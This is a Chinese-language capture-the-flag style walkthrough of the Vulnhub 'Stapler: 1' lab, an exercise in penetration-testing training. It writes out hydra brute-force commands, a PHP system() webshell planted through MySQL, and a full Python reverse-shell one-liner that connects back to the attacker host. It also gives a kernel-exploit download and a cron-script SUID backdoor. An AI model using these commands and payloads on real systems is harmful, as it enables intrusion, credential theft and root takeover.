Vulnhub-STAPLER: 1靶场实践
字数 1269 2025-08-24 07:48:23
Vulnhub-STAPLER: 1靶场渗透测试教学文档
靶场概述
Stapler是一个Vulnhub上的初级/中级难度靶机,具有以下特点:
- 提供至少2种获取有限shell的路径
- 提供至少3种获取root权限的方法
- 兼容VMware和Virtualbox
- 需要特别注意:更改网络模式后需要重启VM
环境准备
- 靶机下载地址:Vulnhub-Stapler
- 攻击机:Kali Linux (IP: 192.168.179.149)
- 常见问题解决:VMware导入OVF文件错误可参考此解决方案
信息收集
主机发现
arp-scan -l
# 或
nmap -sn 192.168.179.0/24
端口扫描
nmap -A -sV 192.168.179.149 -p-
# 或
nmap -n -sT -sV 192.168.179.149 -p-
服务枚举与利用
FTP服务(端口21)
- 匿名登录检查:
nmap -n -sT -sV -A 192.168.179.149 -p21
- 匿名登录并下载文件:
ftp 192.168.179.149
# 用户名: anonymous
# 密码: 任意
-
发现note文件内容,提示可能存在用户Elly和John
-
密码爆破:
hydra -L ftp_name -e nsr ftp://192.168.179.149
# -e nsr: 测试空密码、同名密码和逆向密码
- 使用elly/ylle登录,下载/etc/passwd文件:
cat passwd | grep -v -E "nologin|false" | cut -d ":" -f 1 > ssh_user_name
SSH服务(端口22)
- 密码爆破:
hydra -L ssh_user_name -e nsr ssh://192.168.179.149
- 成功登录:
ssh SHayslett@192.168.179.149
# 密码: SHayslett
SMB服务
- 枚举SMB信息:
enum4linux -a 192.168.179.149 | tee smb_result
- 发现共享tmp和kathy:
smbclient -N //192.168.179.149/tmp
smbclient -N //192.168.179.149/kathy
HTTP服务(端口80)
- 基本访问无内容,使用nikto扫描:
nikto -host http://192.168.179.149
端口666
- 使用nc连接:
nc 192.168.179.149 666 > message_666
file message_666 # 发现是zip文件
unzip message_666
# 查看message2.jpg无有用信息
HTTP服务(端口12380)
- 访问发现WordPress站点:
nikto -host http://192.168.179.149:12380
- 发现重要目录:
- /admin112233
- /blogblog
- /phpmyadmin
- /robots.txt
- /icons/README
- WordPress信息收集:
wpscan --url https://192.168.179.149:12380/blogblog/ -e u --disable-tls-checks
wpscan --url https://192.168.179.149:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive
- 发现注册页面:
https://192.168.179.149:12380/blogblog/wp-login.php?action=register
- 目录遍历:
https://192.168.179.149:12380/blogblog/wp-content/uploads/
漏洞利用
Advanced Video插件漏洞
- 搜索漏洞:
searchsploit advanced video
- 下载并修改EXP:
wget https://www.exploit-db.com/exploits/39646
# 修改URL并添加SSL证书忽略代码
- 执行EXP后在/uploads目录生成包含MySQL凭据的图片:
wget https://192.168.179.149:12380/blogblog/wp-content/uploads/1140321183.jpeg --no-check-certificate
cat 1140321183.jpeg
# 获取MySQL凭据: root/plbkac
MySQL访问
- 登录MySQL:
mysql -h 192.168.179.149 -uroot -pplbkac
- 提取WordPress用户哈希:
SELECT CONCAT(user_login,':',user_pass) FROM wp_users;
- 使用John爆破哈希:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
获取Shell的三种方法
方法1:上传PHP反向Shell
- 使用John/incorrect登录WordPress后台
- 上传修改后的php-reverse-shell.php
- 访问上传的文件触发反弹shell
方法2:MySQL写入一句话木马
- 确认网站根目录:
cat /etc/apache2/sites-available/default-ssl.conf | grep DocumentRoot
- 通过MySQL写入webshell:
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/https/blogblog/wp-content/uploads/exec.php";
- 执行反弹shell命令:
https://192.168.179.149:12380/blogblog/wp-content/uploads/exec.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.179.141",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
方法3:使用冰蝎获取Shell
- 下载冰蝎:Behinder v3.0
- 上传冰蝎的webshell并连接
权限提升
方法1:Sudo提权
- 检查历史命令发现凭据:
cat /home/*/.bash_history | grep -v exit
# 发现用户peter密码: JZQuyIN5
- SSH登录peter:
ssh peter@192.168.179.149
- 检查sudo权限:
sudo -l
# 显示(ALL : ALL) ALL
- 获取root:
sudo su - root
方法2:内核漏洞提权
- 收集系统信息:
uname -a
# Ubuntu 16.04内核版本
- 搜索漏洞:
searchsploit ubuntu 16.04 privilege escalation
- 下载并编译EXP:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
方法3:Cron Jobs提权
- 检查计划任务:
ls -alh /etc/*cron*
cat /etc/cron.d/logrotate
- 发现可写脚本:
echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /usr/local/sbin/cron-logrotate.sh
- 等待5分钟后执行:
/tmp/getroot -p
获取Flag
cd /root
cat flag.txt
# flag: b6b545dc11b7a270f4bad23432190c75162c4a2b
总结
本靶场展示了多种渗透测试技术:
- 服务枚举与信息收集
- 多种凭证获取方法(FTP匿名访问、密码爆破、MySQL凭据泄露)
- 多种Web应用攻击方式(插件漏洞利用、文件上传、SQL注入)
- 多种权限提升方法(Sudo滥用、内核漏洞、计划任务滥用)
关键点:
- 全面的信息收集是成功的基础
- 注意各种服务之间的关联性
- 多种方法可以达到相同目的,需要灵活选择
- 提权路径不止一条,需要全面检查系统配置